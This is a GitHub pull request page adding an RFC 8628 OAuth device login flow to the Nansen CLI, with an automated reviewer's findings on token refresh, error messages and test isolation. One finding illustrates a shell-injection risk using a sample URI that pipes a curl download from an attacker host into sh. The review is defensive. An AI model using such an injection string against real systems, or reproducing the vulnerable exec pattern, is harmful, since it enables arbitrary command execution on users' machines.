Skip to content

feat: add OAuth device authorization grant flow to nansen login#287

Open
shaun-leewei-yang wants to merge 8 commits intomainfrom
feat/oauth-device-flow
Open

feat: add OAuth device authorization grant flow to nansen login#287
shaun-leewei-yang wants to merge 8 commits intomainfrom
feat/oauth-device-flow

Conversation

@shaun-leewei-yang
Copy link

@shaun-leewei-yang shaun-leewei-yang commented Mar 11, 2026

created with Krabbs (Shaun Y's OpenClaw)

References: https://www.notion.so/nansen-ai/nansen-cli-OAuth-Implementation-Plan-31793ded16bd803b96d5fc0d75de5571

Summary

Adds RFC 8628 OAuth Device Authorization Grant as the new default login flow for nansen login.

Changes

  • src/cli.jslogin: device flow as default; --api-key kept as legacy path; help text updated
  • src/api.js — config schema extended with accessToken/refreshToken/tokenExpiry; NansenAPI sends Authorization: Bearer for OAuth sessions, apikey for legacy; _ensureFreshToken() auto-refreshes 60s before expiry
  • new authBaseUrl for config
  • CHANGELOG.md — new version entry

Behaviour

  • nansen login → opens browser, shows user code (XXXX-XXXX), polls until approved, saves JWT tokens
  • nansen login --api-key <key> → unchanged legacy path (CI/scripting)
  • API calls transparently refresh tokens 60s before expiry
  • nansen logout → clears all credentials

Kong dependency

Bearer JWT auth on api.nansen.ai requires the Kong JWT plugin (being configured by a separate team). Until then, --api-key continues to work. Both paths coexist cleanly — if accessToken is present, use Bearer; else fall back to apikey.

@nansen-pr-reviewer
Copy link

nansen-pr-reviewer bot commented Mar 11, 2026

pr-reviewer Summary

📝 4 findings

Review completed. Please address the findings below.

Findings by Severity

Severity Count
🟠 High 1
🟡 Medium 2
🔵 Low 1

Review effort: 4/5 (Complex)

Summary

This PR adds RFC 8628 OAuth Device Authorization Grant as the new default nansen login flow, including token auto-refresh in api.js, a polling device-code loop in cli.js, and a comprehensive new test suite. The implementation is solid overall, but there is one security vulnerability in the browser-open code that should be fixed before merging.

Findings (1 high, 2 medium, 1 low)

src/cli.js — line 900

[High] Shell injection via verification_uri in browser-open command

execChild(`${opener} "${verification_uri}"`);

child_process.exec passes its first argument to sh -c, meaning any shell metacharacters in verification_uri will be executed. The URI comes from an external HTTPS API, but if that endpoint were ever compromised or a MITM were possible, an attacker could inject arbitrary shell commands (e.g. a URI like hxxps://app[.]nansen[.]ai/device"; curl attacker.com | sh; echo ").

Fix: Use execFile with an arguments array to bypass the shell entirely:

import { execFile } from 'child_process';
const opener = process.platform === 'darwin' ? 'open'
  : process.platform === 'win32' ? 'cmd'
  : 'xdg-open';
// macOS/Linux: execFile(opener, [verification_uri])
// Windows: execFile(opener, ['/c', 'start', verification_uri])

This avoids string-interpolation into a shell string entirely.


src/cli.js — lines 973–975

[Medium] Non-actionable JWT-decode error message violates CLAUDE.md "Actionable errors" guideline

} catch (_) {
  /* JWT decode is best-effort; fall back to generic label */
  log('Could not decode user info')   // ← added in this PR
}

The original code was intentionally silent here. The comment still says "best-effort; fall back to generic label", but the new log() call surfaces a confusing message to the user immediately before the success banner (✓ Logged in as your account). There is nothing the user can do about this: the login already succeeded. CLAUDE.md mandates "Actionable errors — "Not logged in. Run: nansen login" not "Authentication failed""; a non-actionable decode warning violates that principle.

Fix: Remove the log(...) call; the comment + silent fallback is the right behaviour here:

} catch (_) {
  /* JWT decode is best-effort; fall back to generic label */
}

src/api.js_ensureFreshToken() lines 434–466

[Medium] Missing guard for null refreshToken causes a guaranteed-failing network call

async _ensureFreshToken() {
  if (!this.accessToken) return;
  if (this.tokenExpiry > Date.now() + 60_000) return;
  // no guard for this.refreshToken being null
  const res = await fetch(`...`, {
    body: JSON.stringify({ refresh_token: this.refreshToken })  // sends null
  });

If a user's config has an accessToken but no refreshToken (e.g. after a partial write or manual config edit), the function sends { refresh_token: null } to the server. The server will reject it, clearing credentials and throwing — but an avoidable network round-trip was made first.

Fix: Add an early guard:

if (!this.refreshToken) {
  this.accessToken = null;
  this.tokenExpiry = 0;
  throw new NansenError('Session expired. Run `nansen login` to re-authenticate.', ErrorCode.UNAUTHORIZED, 401);
}

src/__tests__/cli.internal.test.jsbuildCommands describe block mockDeps

[Low] loadConfigFn removed from shared mockDeps, breaking test isolation for OAuth path

// beforeEach in buildCommands describe — loadConfigFn: vi.fn(() => ({})) was removed
mockDeps = {
  log: ..., exit: ..., promptFn: ..., saveConfigFn: ..., ...
  // loadConfigFn is absent — falls back to the real loadConfig() from api.js
};

Tests in the buildCommands describe that exercise the OAuth path (e.g. "should start OAuth device flow…") now invoke the real loadConfig(), which reads ~/.nansen/config.json from disk. In CI this is fine (defaults to empty config), but a developer with live OAuth tokens in their local config will get those tokens spread into the saveConfigFn expectation — leading to non-deterministic test behaviour. The dedicated describe('OAuth device flow') correctly sets mockDeps.loadConfigFn per-test, so the pattern is established; the buildCommands tests should follow it.

Fix: Re-add loadConfigFn: vi.fn(() => ({})) to the buildCommands mockDeps in beforeEach.


Token usage: 4,746 input, 11,151 output, 341,280 cache read, 38,634 cache write


Note: Some URLs in this summary were sanitized for security. Defanged links (hxxp/[.]) are not clickable by design.

@TimNooren
Copy link
Contributor

Sorry @shaun-leewei-yang, my claw got a bit overzealous👀

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants